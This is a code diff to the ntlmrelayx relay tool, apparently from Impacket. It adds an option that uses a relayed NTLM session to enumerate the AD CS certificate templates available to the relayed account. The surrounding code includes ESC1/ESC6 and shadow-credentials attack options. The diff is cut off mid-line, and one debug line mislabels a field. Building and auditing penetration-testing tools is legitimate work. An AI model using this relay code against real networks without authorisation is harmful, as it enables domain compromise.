diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py
index f1f8ce92cc..e3b3768870 100644
--- a/examples/ntlmrelayx.py
+++ b/examples/ntlmrelayx.py
@@ -210,6 +210,7 @@ def start_servers(options, threads):
c.setWebDAVOptions(options.serve_image)
c.setIsADCSAttack(options.adcs)
c.setADCSOptions(options.template)
+ c.setEnumTemplates(options.enum_templates)
c.setIsShadowCredentialsAttack(options.shadow_credentials)
c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type,
options.cert_outfile_path)
@@ -408,6 +409,7 @@ def stop_servers(threads):
adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')
adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`')
adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.')
+ adcsoptions.add_argument('--enum-templates', action='store_true', required=False, help='Enumerate enabled AD CS templates that the relayed account has access to')
# Shadow Credentials attack options
shadowcredentials = parser.add_argument_group("Shadow Credentials attack options")
diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py
index ce7e7ba532..d22ca3652d 100644
--- a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py
+++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py
@@ -42,6 +42,29 @@ def _run(self):
if self.username in ELEVATED:
LOG.info('Skipping user %s since attack was already performed' % self.username)
return
+
+ if self.config.enumTemplates:
+ templates = self.enum_templates()
+ # Print the parsed results
+ for entry in templates:
+ try:
+ LOG.info(f' - {entry["REALNAME"]}')
+ LOG.debug(f' - KEYSPEC: {entry["KEYSPEC"]}')
+ LOG.debug(f' - KEYFLAG: {entry["KEYFLAG"]}')
+ LOG.debug(f' - ENROLLFLAG: {entry["ENROLLFLAG"]}')
+ LOG.debug(f' - PRIVATEKEYFLAG: {entry["PRIVATEKEYFLAG"]}')
+ LOG.debug(f' - SUBJECTFLAG: {entry["SUBJECTFLAG"]}')
+ LOG.debug(f' - RASIGNATURE: {entry["RASIGNATURE"]}')
+ LOG.debug(f' - CSPLIST: {entry["CSPLIST"]}')
+ LOG.debug(f' - EXTOID: {entry["EXTOID"]}')
+ LOG.debug(f' - EXTMAJ: {entry["EXTMAJ"]}')
+ LOG.debug(f' - EXTFMIN: {entry["EXTFMIN"]}')
+ LOG.debug(f' - EXTFMIN: {entry["EXTMIN"]}')
+ LOG.debug(f' - FRIENDLYNAME: {entry["FRIENDLYNAME"]}')
+ except KeyError:
+ LOG.info(f' - {entry}')
+ LOG.info("Certificate enumeration complete!")
+ return
current_template = self.config.template
if current_template is None:
@@ -139,3 +162,49 @@ def generate_certattributes(template, altName):
if altName:
return "CertificateTemplate:{}%0d%0aSAN:upn={}".format(template, altName)
return "CertificateTemplate:{}".format(template)
+
+ def enum_templates(self):
+ enum_headers = {
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "en-US,en;q=0.9",
+ "Connection": "keep-alive"
+ }
+
+ # Key mapping for parsing
+ KEY_MAPPING = {
+ 0: "OFFLINE",
+ 1: "REALNAME",
+ 2: "KEYSPEC",
+ 3: "KEYFLAG",
+ 4: "ENROLLFLAG",
+ 5: "PRIVATEKEYFLAG",
+ 6: "SUBJECTFLAG",
+ 7: "RASIGNATURE",
+ 8: "CSPLIST",
+ 9: "EXTOID",
+ 10: "EXTMAJ",
+ 11: "EXTFMIN",
+ 12: "EXTMIN",
+ 13: "FRIENDLYNAME",
+ }
+
+ LOG.info("Enumerating certificates")
+ self.client.request("GET", "/certsrv/certrqxt.asp", headers=enum_headers)
+ response = self.client.getresponse()
+ content = response.read()
+ option_lines = re.findall(r"